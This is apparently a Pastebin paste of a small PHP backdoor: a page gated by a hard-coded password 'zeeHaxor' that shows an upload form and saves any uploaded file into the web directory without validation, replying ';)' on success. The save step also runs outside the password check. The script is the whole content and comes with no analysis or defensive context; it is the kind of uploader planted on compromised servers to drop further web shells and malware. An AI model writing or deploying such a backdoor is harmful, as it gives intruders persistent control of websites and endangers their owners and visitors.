Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- if (isset ($_GET["passwd"]) and $_GET["passwd"]=="zeeHaxor")
- {
- ?>
- <body onload="command.focus()">
- <form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
- <input type="hidden" name="MAX_FILE_SIZE" value="900000" />
- upload: <input name="uploaded" type="file" /><br />
- <input type="submit" value="Upload" />
- </form>
- </body>
- <?php
- }
- $target_path = "./";
- $target_path = $target_path . basename( $_FILES['uploaded']['name']);
- if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path))
- {
- echo ";)";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement